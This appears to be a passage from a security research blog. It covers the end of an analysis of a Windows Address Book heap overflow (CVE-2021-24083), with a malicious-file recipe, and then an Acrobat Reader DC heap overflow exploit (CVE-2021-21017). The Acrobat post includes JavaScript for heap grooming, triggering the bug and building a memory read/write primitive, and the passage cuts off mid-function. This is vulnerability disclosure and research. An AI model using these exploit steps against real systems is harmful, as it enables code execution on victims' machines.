It was observed that if the calculated property size is zero, the buffer pointer is advanced by the size of the property value, as described by the header. The buffer is advanced regardless of the property size and by advancing the buffer, the security check permits the value of the parent property (which may include subproperties) to stay unchecked. For the security check to pass the result of the division performed on Step 4 for fixed-length composite properties must be zero. Therefore for an unknown or non-processable property to pass the security check, NestedPropCount must be larger than Size. Note that since the size of any property in bytes is at least two, NestedPropCount must always be no larger than half of Size, and therefore, the aforementioned division must never be zero in benign cases.

After the checks have concluded, the function returns zero for a failed check and one for a passed check.

Subsequently, the function HrGetPropArrayFromFileRecord() calls HrGetPropArrayFromBuffer(), which aims to collect the properties into an array of _SPropValue structs and return it to the caller. The _SPropValue array has a length equal of the number of properties (as given by the contact header) and is allocated in the heap through a call to LocalAlloc(). The number of properties is multiplied by sizeof(_SPropValue) to yield the total buffer size. The following fragment shows the allocation taking place:

    if ( !property_array_r )
    {
        ret = -2147024809;
        goto LABEL_71;
    }
    *property_array_r = 0i64;
    header_dword_3_1 = set_to_zero + header_dword_3;

[9]

    if ( (unsigned int)header_dword_3_1 < header_dword_3       
      || (unsigned int)header_dword_3_1 > 0xAAAAAAA            
      || (v10 = (unsigned int)header_dword_3_1,                               
          property_array = (struct _SPropValue *)LocalAlloc(
                                                   0x40u,
                                                   0x18 * header_dword_3_1),
                                                   // sizeof(_SPropValue) * n_properties_in_binary
        (*property_array_r = property_array) == 0i64) )
    {
        ERROR_INSUFICIENT_MEMORY:
        ret = 0x8007000E;
        goto LABEL_71;
    }

An allocation of sizeof(_SPropValue) * n_properties_in_binary can be observed at [9]. Immediately after, each of the property structures are initialized and their property tag member is set to 1. After initialization, the buffer, on which security checks have already been performed, is processed property by property, advancing the property a pointer to the next property with the property header and value sizes provided by the property in question.

If the property processed by the specific loop iteration is a simple property, the following code is executed:

    if ( !_bittest((const signed int *)¤t_property_tag, 0xCu) )
    {
      if ( v16 < 4 )
        break;
      dword_1 = wab_ulong_buffer_full[1];
      ptr_to_dword_2 = (char *)(wab_ulong_buffer_full + 2);
      v38 = v16 - 4;
      if ( (unsigned int)dword_1 > v38 )
        break;
      current_property_tag = (unsigned __int16)current_property_tag;
      if ( (unsigned __int16)current_property_tag > 0xBu )
      {

[10]

        v39 = current_property_tag - 0x1E;
        if ( !v39 )
          goto LABEL_79;
        v40 = v39 - 1;
        if ( !v40 )
          goto LABEL_79;
        v41 = v40 - 0x21;
        if ( !v41 )
          goto LABEL_56;
        v42 = v41 - 8;
        if ( v42 )
        {
          if ( v42 != 0xBA )
            goto LABEL_56;
          v43 = dword_1;
          (*property_array_r)[p_idx].Value.bin.lpb = (LPBYTE)LocalAlloc(0x40u, dword_1);
          if ( !(*property_array_r)[p_idx].Value.bin.lpb )
            goto ERROR_INSUFICIENT_MEMORY;
          (*property_array_r)[p_idx].Value.l = dword_1;
          v44 = *(&(*property_array_r)[p_idx].Value.at + 1);
        }
        else
        {
    LABEL_79:

[11]
                                           
          v43 = dword_1;
          (*property_array_r)[p_idx].Value.cur.int64 = (LONGLONG)LocalAlloc(0x40u, dword_1);
          v44 = (*property_array_r)[p_idx].Value.dbl;
          if ( v44 == 0.0 )
            goto ERROR_INSUFICIENT_MEMORY;
        }
        memcpy_0(*(void **)&v44, ptr_to_dword_2, v43);
        wab_ulong_buffer_full = (ULONG *)&ptr_to_dword_2[v43];
      }
      else
      {
    LABEL_56:               

[12]
           
        memcpy_0(&(*property_array_r)[v15].Value, ptr_to_dword_2, dword_1);
        wab_ulong_buffer_full = (ULONG *)&ptr_to_dword_2[dword_1];
      }
      remaining_bytes_to_process = v38 - dword_1;
      goto NEXT_PROPERTY;
    }

[Truncated]

    NEXT_PROPERTY:
        ++p_idx;
        processed_property_count = (unsigned int)(processed_property_count_1 + 1);
        processed_property_count_1 = processed_property_count;
        if ( (unsigned int)processed_property_count >= c_header_dword_3 )
          return 0;
      }

At [10] the property tag is extracted and compared with several constants. If the property tag is 0x1e (PtypString8), 0x1f (PtypString), or 0x48 (PtypGuid), then execution continues at [11]. If the property tag is 0x40 (PtypTime) or is not recognized, execution continues at [12]. The memcpy call at [12] is prone to a heap overflow.

Conversely, if the property being processed in the specific loop iteration is not a simple property, the following code is executed. Notably, when the following code is executed, the pointer DWORD* wab_ulong_buffer_full points to the property tag of the property being processed. Regardless of which composite property is being processed, before the property tag is identified the buffer is advanced to point to the beginning of the property value, which is at the 4th 32-bit integer.

[13]

    if ( v16 < 4 )
    break;
    c_dword_1 = wab_ulong_buffer_full[1];
    v19 = v16 - 4;
    if ( v19 < 4 )
    break;
    dword_2 = wab_ulong_buffer_full[2];
    wab_ulong_buffer_full += 3;                     

    remaining_bytes_to_process = v19 - 4;

[14]

    if ( (unsigned __int16)current_property_tag >= 0x1002u )
    {
    if ( (unsigned __int16)current_property_tag <= 0x1007u || (unsigned __int16)current_property_tag == 0x1014 )
        goto LABEL_80;
    if ( (unsigned __int16)current_property_tag == 0x101E )
    {
        [Truncated]
        
    }
    if ( (unsigned __int16)current_property_tag == 0x101F )
    {
        [Truncated]        
    }
    if ( ((unsigned __int16)current_property_tag - 0x1040) & 0xFFFFFFF7 )
    {
        if ( (unsigned __int16)current_property_tag == 0x1102 )
        {
        [Truncated]
        }
    }
    else
    {
    LABEL_80:

[15]

        (*property_array_r)[p_idx].Value.bin.lpb = (LPBYTE)LocalAlloc(0x40u, dword_2);
        if ( !(*property_array_r)[p_idx].Value.bin.lpb )
        goto ERROR_INSUFICIENT_MEMORY;
        (*property_array_r)[p_idx].Value.l = c_dword_1;
        if ( (unsigned int)dword_2 > remaining_bytes_to_process )
        break;
        memcpy_0((*property_array_r)[p_idx].Value.bin.lpb, wab_ulong_buffer_full, dword_2);
        wab_ulong_buffer_full = (ULONG *)((char *)wab_ulong_buffer_full + dword_2);
        remaining_bytes_to_process -= dword_2;
    }
    }

    NEXT_PROPERTY:
        ++p_idx;
        processed_property_count = (unsigned int)(processed_property_count_1 + 1);
        processed_property_count_1 = processed_property_count;
        if ( (unsigned int)processed_property_count >= c_header_dword_3 )
        return 0;
    }

After the buffer has been advanced at [13], the property tag is compared with several constants starting at [14]. Finally, the code fragment at [15] attempts to process a composite property (i.e. >= 0x1000) with a tag not contemplated by the previous constants.

Although the processing logic of each type of property is irrelevant, an interesting fact is that if the property tag is not recognized, the buffer pointer has still been advanced to the end of the end of its header, and it’s never retracted. This happens if all of the following conditions are met:

  • The property tag is larger or equal than 0x1002.
  • The property tag is larger than 0x1007.
  • The property tag is different from 0x1014.
  • The property tag is different from 0x101e.
  • The property tag is different from 0x101f.
  • The property tag is different from 0x1102.
  • The result of subtracting 0x1040 from the property tag, and performing a bitwise AND of the result with 0xFFFFFFF7 is nonzero.

Interestingly, if all of the above conditions are met, the property header of the composite property is skipped, and the next loop iteration will interpret its property body as a different property.

Therefore, it is possible to overflow the _SPropValue array allocated in the heap by HrGetPropArrayFromBuffer() by using the following observations:

  • A specially crafted composite unknown or non-processable property can be made to bypass security checks if NestedPropCount is larger than Size.
  • HrGetPropArrayFromBuffer() can be made to interpret the Value of a specially crafted property as a separate property.

Proof-of-Concept

In order to create a malicious WAB file from a benign WAB file, export a valid WAB file from an instance of the Windows Address Book. It is noted that Outlook Express on Windows XP includes the ability to export contacts as a WAB file.

The benign WAB file can be modified to make it malicious by altering a contact inside it to have the following characteristics:

  • A nested property containing the following:
  • A tag of an unknown or unprocessable type, for example the tag 0x1058, with the following conditions:
    • Must be larger or equal than 0x1002.
    • Must be larger than 0x1007.
    • Must be different from 0x1014, 0x101e, 0x101f, and 0x1102.
    • The result of subtracting 0x1040 from the property tag, and performing a bitwise AND of the result with 0xFFFFFFF7 is non-zero.
    • Must be different from 0x1002, 0x1003, 0x1004, 0x1005, 0x1006, 0x1007, 0x1014, 0x1040, and 0x1048.
    • NestedPropCount is larger than Size.
    • The Value of the composite property is empty.
    • A malicious simple property containing the following:
    • A property tag different from 0x1e, 0x1f, 0x40 and 0x48. For example, the tag 0x0.
    • The Size value is larger than 0x18 x NestedPropCount in order to overflow the _SPropValue array buffer.
    • An unspecified number of trailing bytes, that will overflow the _SPropValue array buffer.

Finally, when an attacker tricks an unsuspecting user into importing the specially crafted WAB file, the vulnerability is triggered and code execution could be achieved. Failed exploitation attempts will most likely result in a crash of the Windows Address Book Import Tool.

Due to the presence of ASLR and a lack of a scripting engine, we were unable to obtain arbitrary code execution in Windows 10 from this vulnerability.

Conclusion

Hopefully you enjoyed this dive into CVE-2021-24083, and if you did, go ahead and check out our other blog post on a use-after-free vulnerability in Adobe Acrobat Reader DC. If you haven’t already, make sure to follow us on Twitter to keep up to date with our work. Happy hacking!

The post Analysis of a Heap Buffer-Overflow Vulnerability in Microsoft Windows Address Book appeared first on Exodus Intelligence.

Analysis of a Heap Buffer-Overflow Vulnerability in Adobe Acrobat Reader DC

28 June 2021 at 10:46

By Sergi Martinez

This post analyzes and exploits CVE-2021-21017, a heap buffer overflow reported in Adobe Acrobat Reader DC prior to versions 2021.001.20135. This vulnerability was anonymously reported to Adobe and patched on February 9th, 2021. A publicly posted proof-of-concept containing root-cause analysis was used as a starting point for this research.

This post is similar to our previous post on Adobe Acrobat Reader, which exploits a use-after-free vulnerability that also occurs while processing Unicode and ANSI strings.

Overview

A heap buffer-overflow occurs in the concatenation of an ANSI-encoded string corresponding to a PDF document’s base URL. This occurs when an embedded JavaScript script calls functions located in the IA32.api module that deals with internet access, such as this.submitForm and app.launchURL. When these functions are called with a relative URL of a different encoding to the PDF’s base URL, the relative URL is treated as if it has the same encoding as the PDF’s path. This can result in the copying twice the number of bytes of the source ANSI string (relative URL) into a properly-sized destination buffer, leading to both an out-of-bounds read and a heap buffer overflow.

CVE-2021-21017

Acrobat Reader has a built-in JavaScript engine based on Mozilla’s SpiderMonkey. Embedded JavaScript code in PDF files is processed and executed by the EScript.api module in Adobe Reader.

Internet access related operations are handled by the IA32.api module. The vulnerability occurs within this module when a URL is built by concatenating the PDF document’s base URL and a relative URL. This relative URL is specified as a parameter in a call to JavaScript functions that trigger any kind of Internet access such as this.submitForm and app.launchURL. In particular, the vulnerability occurs when the encoding of both strings differ.

The concatenation of both strings is done by allocating enough memory to fit the final string. The computation of the length of both strings is correctly done taking into account whether they are ANSI or Unicode. However, when the concatenation occurs only the base URL encoding is checked and the relative URL is considered to have the same encoding as the base URL. When the relative URL is ANSI encoded, the code that copies bytes from the relative URL string buffer into the allocated buffer copies it two bytes at a time instead of just one byte at a time. This leads to reading a number of bytes equal to the length of the relative URL from outside the source buffer and copying it beyond the bounds of the destination buffer by the same length, resulting in both an out-of-bounds read and an out-of-bounds write vulnerability.

Code Analysis

The following code blocks show the affected parts of methods relevant to this vulnerability. Code snippets are demarcated by reference marks denoted by [N]. Lines not relevant to this vulnerability are replaced by a [Truncated] marker.

All code listings show decompiled C code; source code is not available in the affected product. Structure definitions are obtained by reverse engineering and may not accurately reflect structures defined in the source code.

The following function is called when a relative URL needs to be concatenated to a base URL. Aside from the concatenation it also checks that both URLs are valid.

__int16 __cdecl sub_25817D70(wchar_t *Source, CHAR *lpString, char *String, _DWORD *a4, int *a5)
{
  __int16 v5; // di
  CHAR v6; // cl
  CHAR *v7; // ecx
  CHAR v8; // al
  CHAR v9; // dl
  CHAR *v10; // eax
  bool v11; // zf
  CHAR *v12; // eax

[Truncated]

  int iMaxLength; // [esp+D4h] [ebp-14h]
  LPCSTR v65; // [esp+D8h] [ebp-10h]
  int v66; // [esp+DCh] [ebp-Ch] BYREF
  LPCSTR v67; // [esp+E0h] [ebp-8h]
  wchar_t *v68; // [esp+E4h] [ebp-4h]

  v68 = 0;
  v65 = 0;
  v67 = 0;
  v38 = 0;
  v51 = 0;
  v63 = 0;
  v5 = 1;
  if ( !a5 )
    return 0;
  *a5 = 0;
  if ( lpString )
  {
    if ( *lpString )
    {
      v6 = lpString[1];
      if ( v6 )
      {

[1]

        if ( *lpString == (CHAR)0xFE && v6 == (CHAR)0xFF )
        {
          v7 = lpString;
          while ( 1 )
          {
            v8 = *v7;
            v9 = v7[1];
            v7 += 2;
            if ( !v8 )
              break;
            if ( !v9 || !v7 )
              goto LABEL_14;
          }
          if ( !v9 )
            goto LABEL_15;

[2]

LABEL_14:
          *a5 = -2;
          return 0;
        }
      }
    }
  }
LABEL_15:
  if ( !Source || !lpString || !String || !a4 )
  {
    *a5 = -2;
    goto LABEL_79;
  }

[3]

  iMaxLength = sub_25802A44((LPCSTR)Source) + 1;
  v10 = (CHAR *)sub_25802CD5(1, iMaxLength);
  v65 = v10;
  if ( !v10 )
  {
    *a5 = -7;
    return 0;
  }

[4]

  sub_25802D98((wchar_t *)v10, Source, iMaxLength);
  if ( *lpString != (CHAR)0xFE || (v11 = lpString[1] == -1, v67 = (LPCSTR)2, !v11) )
    v67 = (LPCSTR)1;

[5]

  v66 = (int)&v67[sub_25802A44(lpString)];
  v12 = (CHAR *)sub_25802CD5(1, v66);
  v67 = v12;
  if ( !v12 )
  {
    *a5 = -7;
LABEL_79:
    v5 = 0;
    goto LABEL_80;
  }

[6]

  sub_25802D98((wchar_t *)v12, (wchar_t *)lpString, v66);
  if ( !(unsigned __int16)sub_258033CD(v65, iMaxLength, a5) || !(unsigned __int16)sub_258033CD(v67, v66, a5) )
    goto LABEL_79;

[7]

  v13 = sub_25802400(v65, v31);
  if ( v13 || (v13 = sub_25802400(v67, v39)) != 0 )
  {
    *a5 = v13;
    goto LABEL_79;
  }

[Truncated]

[8]

  v23 = (wchar_t *)sub_25802CD5(1, v47 + 1 + v35);
  v68 = v23;
  if ( v23 )
  {
    if ( v35 )
    {

[9]

      sub_25802D98(v23, v36, v35 + 1);
      if ( *((_BYTE *)v23 + v35 - 1) != 47 )
      {
        v25 = sub_25818CE4(v24, (char *)v23, 47);
        if ( v25 )
          *(_BYTE *)(v25 + 1) = 0;
        else
          *(_BYTE *)v23 = 0;
      }
    }
    if ( v47 )
    {

[10]

      v26 = sub_25802A44((LPCSTR)v23);
      sub_25818BE0((char *)v23, v48, v47 + 1 + v26);
    }
    sub_25802E0C(v23, 0);
    v60 = sub_25802A44((LPCSTR)v23);
    v61 = v23;
    goto LABEL_69;
  }
  v5 = 0;
  *a4 = v47 + v35 + 1;
  *a5 = -3;
LABEL_81:
  if ( v65 )
    (*(void (__cdecl **)(LPCSTR))(dword_25824088 + 12))(v65);
  if ( v67 )
    (*(void (__cdecl **)(LPCSTR))(dword_25824088 + 12))(v67);
  if ( v23 )
    (*(void (__cdecl **)(wchar_t *))(dword_25824088 + 12))(v23);
  return v5;
}

The function listed above receives as parameters a string corresponding to a base URL and a string corresponding to a relative URL, as well as two pointers used to return data to the caller. The two string parameters are shown in the following debugger output.

IA32!PlugInMain+0x168b0:
605a7d70 55              push    ebp
0:000> dd poi(esp+4) L84
099a35f0  0068fffe 00740074 00730070 002f003a
099a3600  0067002f 006f006f 006c0067 002e0065
099a3610  006f0063 002f006d 41414141 41414141
099a3620  41414141 41414141 41414141 41414141
099a3630  41414141 41414141 41414141 41414141

[Truncated]

099a37c0  41414141 41414141 41414141 41414141
099a37d0  41414141 41414141 41414141 41414141
099a37e0  41414141 41414141 41414141 2f2f3a41
099a37f0  00000000 00680074 00730069 006f002e
0:000> du poi(esp+4)
099a35f0  ".https://google.com/䅁䅁䅁䅁䅁䅁䅁䅁䅁䅁䅁䅁"
099a3630  "䅁䅁䅁䅁䅁䅁䅁䅁䅁䅁䅁䅁䅁䅁䅁䅁䅁䅁䅁䅁䅁䅁䅁䅁䅁䅁䅁䅁䅁䅁䅁䅁"
099a3670  "䅁䅁䅁䅁䅁䅁䅁䅁䅁䅁䅁䅁䅁䅁䅁䅁䅁䅁䅁䅁䅁䅁䅁䅁䅁䅁䅁䅁䅁䅁䅁䅁"
099a36b0  "䅁䅁䅁䅁䅁䅁䅁䅁䅁䅁䅁䅁䅁䅁䅁䅁䅁䅁䅁䅁䅁䅁䅁䅁䅁䅁䅁䅁䅁䅁䅁䅁"
099a36f0  "䅁䅁䅁䅁䅁䅁䅁䅁䅁䅁䅁䅁䅁䅁䅁䅁䅁䅁䅁䅁䅁䅁䅁䅁䅁䅁䅁䅁䅁䅁䅁䅁"
099a3730  "䅁䅁䅁䅁䅁䅁䅁䅁䅁䅁䅁䅁䅁䅁䅁䅁䅁䅁䅁䅁䅁䅁䅁䅁䅁䅁䅁䅁䅁䅁䅁䅁"
099a3770  "䅁䅁䅁䅁䅁䅁䅁䅁䅁䅁䅁䅁䅁䅁䅁䅁䅁䅁䅁䅁䅁䅁䅁䅁䅁䅁䅁䅁䅁䅁䅁䅁"
099a37b0  "䅁䅁䅁䅁䅁䅁䅁䅁䅁䅁䅁䅁䅁䅁䅁䅁䅁䅁䅁䅁䅁䅁䅁䅁䅁䅁䅁䅁䅁䅁㩁."
099a37f0  ""
0:000> dd poi(esp+8)
0b2d30b0  61616262 61616161 61616161 61616161
0b2d30c0  61616161 61616161 61616161 61616161
0b2d30d0  61616161 61616161 61616161 61616161
0b2d30e0  61616161 61616161 61616161 61616161

[Truncated]

0b2d5480  61616161 61616161 61616161 61616161
0b2d5490  61616161 61616161 61616161 61616161
0b2d54a0  61616161 61616161 61616161 00616161
0b2d54b0  4d21fcdc 80000900 41409090 ffff4041
0:000> da poi(esp+8)
0b2d30b0  "bbaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
0b2d30d0  "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
0b2d30f0  "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
0b2d3110  "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"

[Truncated]

0b2d5430  "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
0b2d5450  "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
0b2d5470  "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
0b2d5490  "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"

The debugger output shown above corresponds to an execution of the exploit. It shows the contents of the first and second parameters (esp+4 and esp+8) of the function sub_25817D70. The first parameter contains a Unicode-encoded base URL https://google.com/ (notice the 0xfeff bytes at the start of the string), while the second parameter contains an ASCII string corresponding to the relative URL. Both contain a number of repeated bytes that serve as padding to control the allocation size needed to hold them, which is useful for exploitation.

At [1] a check is made to ascertain whether the second parameter is a valid Unicode string. If an anomaly is found the function returns at [2]. The function sub_25802A44 at [3] computes the length of the string provided as a parameter, regardless of its encoding. The function sub_25802CD5 is an implementation of calloc which allocates an array with the amount of elements provided as the first parameter with size specified as the second parameter. The function sub_25802D98 at [4] copies a number of bytes of the string specified in the second parameter to the buffer pointed by the first parameter. Its third parameter specified the number of bytes to be copied. Therefore, at [3] and [4] the length of the base URL is computed, a new allocation of that size plus one is performed, and the base URL string is copied into the new allocation. In an analogous manner, the same operations are performed on the relative URL at [5] and [6].

The function sub_25802400, called at [7], receives a URL or a part of it and performs some validation and processing. This function is called on both base and relative URLs.

At [8] an allocation of the size required to host the concatenation of the relative URL and the base URL is performed. The lengths provided are calculated in the function called at [7]. For the sake of simplicity it is illustrated with an example: the following debugger output shows the value of the parameters to sub_25802CD5 that correspond to the number of elements to be allocated, and the size of each element. In this case the size is the addition of the length of the base and relative URLs.

eax=00002600 ebx=00000000 ecx=00002400 edx=00000000 esi=010fd228 edi=00000001
eip=61912cd5 esp=010fd0e4 ebp=010fd1dc iopl=0         nv up ei pl nz na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000206
IA32!PlugInMain+0x1815:
61912cd5 55              push    ebp
0:000> dd esp+4 L1
010fd0e8  00000001
0:000> dd esp+8 L1
010fd0ec  00002600

Continuing with the function previously listed, at [9] the base URL is copied into the memory allocated to host the concatenation and at [10] its length is calculated and provided as a parameter to the call to sub_25818BE0. This function implements string concatenation for both Unicode and ANSI strings. The call to this function at [10] provides the base URL as the first parameter, the relative URL as the second parameter and the expected full size of the concatenation as the third. This function is listed below.

int __cdecl sub_25818BE0(char *Destination, char *Source, int a3)
{
  int result; // eax
  int pExceptionObject; // [esp+10h] [ebp-4h] BYREF

  if ( !Destination || !Source || !a3 )
  {
    (*(void (__thiscall **)(_DWORD, int))(dword_258240AC + 4))(*(_DWORD *)(dword_258240AC + 4), 1073741827);
    pExceptionObject = 0;
    CxxThrowException(&pExceptionObject, (_ThrowInfo *)&_TI1H);
  }

[11]

  pExceptionObject = sub_25802A44(Destination);
  if ( pExceptionObject + sub_25802A44(Source) <= (unsigned int)(a3 - 1) )
  {

[12]

    sub_2581894C(Destination, Source);
    result = 1;
  }
  else
  {

[13]

    strncat(Destination, Source, a3 - pExceptionObject - 1);
    result = 0;
    Destination[a3 - 1] = 0;
  }
  return result;
}

In the above listing, at [11] the length of the destination string is calculated. It then checks if the length of the destination string plus the length of the source string is less or equal than the desired concatenation length minus one. If the check passes, the function sub_2581894C is called at [12]. Otherwise the strncat function at [13] is called.

The function sub_2581894C called at [12] implements the actual string concatenation that works for both Unicode and ANSI strings.

LPSTR __cdecl sub_2581894C(LPSTR lpString1, LPCSTR lpString2)
{
  int v3; // eax
  LPCSTR v4; // edx
  CHAR *v5; // ecx
  CHAR v6; // al
  CHAR v7; // bl
  int pExceptionObject; // [esp+10h] [ebp-4h] BYREF

  if ( !lpString1 || !lpString2 )
  {
    (*(void (__thiscall **)(_DWORD, int))(dword_258240AC + 4))(*(_DWORD *)(dword_258240AC + 4), 1073741827);
    pExceptionObject = 0;
    CxxThrowException(&pExceptionObject, (_ThrowInfo *)&_TI1H);
  }

[14]

  if ( *lpString1 == (CHAR)0xFE && lpString1[1] == (CHAR)0xFF )
  {

[15]

    v3 = sub_25802A44(lpString1);
    v4 = lpString2 + 2;
    v5 = &lpString1[v3];
    do
    {
      do
      {
        v6 = *v4;
        v4 += 2;
        *v5 = v6;
        v5 += 2;
        v7 = *(v4 - 1);
        *(v5 - 1) = v7;
      }
      while ( v6 );
    }
    while ( v7 );
  }
  else
  {

[16]

    lstrcatA(lpString1, lpString2);
  }
  return lpString1;
}

In the function listed above, at [14] the first parameter (the destination) is checked for the Unicode BOM marker 0xFEFF. If the destination string is Unicode the code proceeds to [15]. There, the source string is appended at the end of the destination string two bytes at a time. If the destination string is ANSI, then the known lstrcatA function is called.

It becomes clear that in the event that the destination string is Unicode and the source string is ANSI, for each character of the ANSI string two bytes are actually copied. This causes an out-of-bounds read of the size of the ANSI string that becomes a heap buffer overflow of the same size once the bytes are copied.

Exploitation

We’ll now walk through how this vulnerability can be exploited to achieve arbitrary code execution. 

Adobe Acrobat Reader DC version 2020.013.20074 running on Windows 10 x64 was used to develop the exploit. Note that Adobe Acrobat Reader DC is a 32-bit application. A successful exploit strategy needs to bypass the following security mitigations on the target:

  • Address Space Layout Randomization (ASLR)
  • Data Execution Prevention (DEP)
  • Control Flow Guard (CFG)
  • Sandbox Bypass

The exploit does not bypass the following protection mechanisms:

  • Adobe Sandbox protection: Sandbox protection must be disabled in Adobe Reader for this exploit to work. This may be done from Adobe Reader user interface by unchecking the Enable Protected Mode at Startup option found in Preferences -> Security (Enhanced)
  • Control Flow Guard (CFG): CFG must be disabled in the Windows machine for this exploit to work. This may be done from the Exploit Protection settings of Windows 10, setting the Control Flow Guard (CFG) option to Off by default.

In order to exploit this vulnerability bypassing ASLR and DEP, the following strategy is adopted:

  1. Prepare the heap layout to allow controlling the memory areas adjacent to the allocations made for the base URL and the relative URL. This involves performing enough allocations to activate the Low Fragmentation Heap bucket for the two sizes, and enough allocations to entirely fit a UserBlock. The allocations with the same size as the base URL allocation must contain an ArrayBuffer object, while the allocations with the same size as the relative URL must have the data required to overwrite the byteLength field of one of those ArrayBuffer objects with the value 0xffff.
  2. Poke some holes on the UserBlock by nullifying the reference to some of the recently allocated memory chunks.
  3. Trigger the garbage collector to free the memory chunks referenced by the nullified objects. This provides room for the base URL and relative URL allocations.
  4. Trigger the heap buffer overflow vulnerability, so the data in the memory chunk adjacent to the relative URL will be copied to the memory chunk adjacent to the base URL.
  5. If everything worked, step 4 should have overwritten the byteLength of one of the controlled ArrayBuffer objects. When a DataView object is created on the corrupted ArrayBuffer it is possible to read and write memory beyond the underlying allocation. This provides a precise way of overwriting the byteLength of the next ArrayBuffer with the value 0xffffffff. Creating a DataView object on this last ArrayBuffer allows reading and writing memory arbitrarily, but relative to where the ArrayBuffer is.
  6. Using the R/W primitive built, walk the NT Heap structure to identify the BusyBitmap.Buffer pointer. This allows knowing the absolute address of the corrupted ArrayBuffer and build an arbitrary read and write primitive that allows reading from and writing to absolute addresses.
  7. To bypass DEP it is required to pivot the stack to a controlled memory area. This is done by using a ROP gadget that writes a fixed value to the ESP register.
  8. Spray the heap with ArrayBuffer objects with the correct size so they are adjacent to each other. This should place a controlled allocation at the address pointed by the stack-pivoting ROP gadget.
  9. Use the arbitrary read and write to write shellcode in a controlled memory area, and to write the ROP chain to execute VirtualProtect to enable execution permissions on the memory area where the shellcode was written.
  10. Overwrite a function pointer of the DataView object used in the read and write primitive and trigger its call to hijack the execution flow.

The following sub-sections break down the exploit code with explanations for better understanding.

Preparing the Heap Layout

The size of the strings involved in this vulnerability can be controlled. This is convenient since it allows selecting the right size for each of them so they are handled by the Low Fragmentation Heap. The inner workings of the Low Fragmentation Heap (LFH) can be leveraged to increase the determinism of the memory layout required to exploit this vulnerability. Selecting a size that is not used in the program allows full control to activate the LFH bucket corresponding to it, and perform the exact number of allocations required to fit one UserBlock.

The memory chunks within a UserBlock are returned to the user randomly when an allocation is performed. The ideal layout required to exploit this vulnerability is having free chunks adjacent to controlled chunks, so when the strings required to trigger the vulnerability are allocated they fall in one of those free chunks.

In order to set up such a layout, 0xd+0x11 ArrayBuffers of size 0x2608-0x10-0x8 are allocated. The first 0x11 allocations are used to enable the LFH bucket, and the next 0xd allocations are used to fill a UserBlock (note that the number of chunks in the first UserBlock for that bucket size is not always 0xd, so this technique is not 100% effective). The ArrayBuffer size is selected so the underlying allocation is of size 0x2608 (including the chunk metadata), which corresponds to an LFH bucket not used by the application.

Then, the same procedure is done but allocating strings whose underlying allocation size is 0x2408, instead of allocating ArrayBuffers. The number of allocations to fit a UserBlock for this size can be 0xe.

The strings should contain the bytes required to overwrite the byteLength property of the ArrayBuffer that is corrupted once the vulnerability is triggered. The value that will overwrite the byteLength property is 0xffff. This does not allow leveraging the ArrayBuffer to read and write to the whole range of memory addresses in the process. Also, it is not possible to directly overwrite the byteLength with the value 0xffffffff since it would require overwriting the pointer of its DataView object with a non-zero value, which would corrupt it and break its functionality. Instead, writing only 0xffff allows avoiding overwriting the DataView object pointer, keeping its functionality intact since the leftmost two null bytes would be considered the Unicode string terminator during the concatenation operation.

function massageHeap() {

[1]

    var arrayBuffers = new Array(0xd+0x11);
    for (var i = 0; i < arrayBuffers.length; i++) {
        arrayBuffers[i] = new ArrayBuffer(0x2608-0x10-0x8);
        var dv = new DataView(arrayBuffers[i]);
    }

[2]

    var holeDistance = (arrayBuffers.length-0x11) / 2 - 1;
    for (var i = 0x11; i <= arrayBuffers.length; i += holeDistance) {
        arrayBuffers[i] = null;
    }


[3]

    var strings = new Array(0xe+0x11);
    var str = unescape('%u9090%u4140%u4041%uFFFF%u0000') + unescape('%0000%u0000') + unescape('%u9090%u9090').repeat(0x2408);
    for (var i = 0; i < strings.length; i++) {
        strings[i] = str.substring(0, (0x2408-0x8)/2 - 2).toUpperCase();
    }


[4]

    var holeDistance = (strings.length-0x11) / 2 - 1;
    for (var i = 0x11; i <= strings.length; i += holeDistance) {
        strings[i] = null;
    }

    return arrayBuffers;
}

In the listing above, the ArrayBuffer allocations are created in [1]. Then in [2] two pointers to the created allocations are nullified in order to attempt to create free chunks surrounded by controlled chunks.

At [3] and [4] the same steps are done with the allocated strings.

Triggering the Vulnerability

Triggering the vulnerability is as easy as calling the app.launchURL JavaScript function. Internally, the relative URL provided as a parameter is concatenated to the base URL defined in the PDF document catalog, thus executing the vulnerable function explained in the *Code Analysis* section of this document.

function triggerHeapOverflow() {
    try {
        app.launchURL('bb' + 'a'.repeat(0x2608 - 2 - 0x200 - 1 -0x8));
    } catch(err) {}
}

The size of the allocation holding the relative URL string must be the same as the one used when preparing the heap layout so it occupies one of the freed spots, and ideally having a controlled allocation adjacent to it.

Obtaining an Arbitrary Read / Write Primitive

When the proper heap layout is successfully achieved and the vulnerability has been triggered, an ArrayBuffer byteLength property would be corrupted with the value 0xffff. This allows writing past the boundaries of the underlying memory allocation and overwriting the byteLength property of the next ArrayBuffer. Finally, creating a DataView object on this last corrupted buffer allows to read and write to the whole memory address range of the process in a relative manner.

In order to be able to read from and write to absolute addresses the memory address of the corrupted ArrayBuffer must be obtained. One way of doing it is to leverage the NT Heap metadata structures to leak a pointer to the same structure. It is relevant that the chunk header contains the chunk number and that all the chunks in a UserBlock are consecutive and adjacent. In addition, the size of the chunks are known, so it is possible to compute the distance from the origin of the relative read and write primitive to the pointer to leak. In an analogous manner, since the distance is known, once the pointer is leaked the distance can be subtracted from it to obtain the address of the origin of the read and write primitive.

The following function implements the process described in this subsection.

function getArbitraryRW(arrayBuffers) {

[1]

    for (var i = 0; i < arrayBuffers.length; i++) {
        if (arrayBuffers[i] != null && arrayBuffers[i].byteLength == 0xffff) {
            var dv = new DataView(arrayBuffers[i]);
            dv.setUint32(0x25f0+0xc, 0xffffffff, true);
        }
    }

[2]

    for (var i = 0; i < arrayBuffers.length; i++) {
        if (arrayBuffers[i] != null && arrayBuffers[i].byteLength == -1) {
            var rw = new DataView(arrayBuffers[i]);
            corruptedBuffer = arrayBuffers[i];
        }
    }

[3]

    if (rw) {
        var chunkNumber = rw.getUint8(0xffffffff+0x1-0x13, true);
        var chunkSize = 0x25f0+0x10+8;

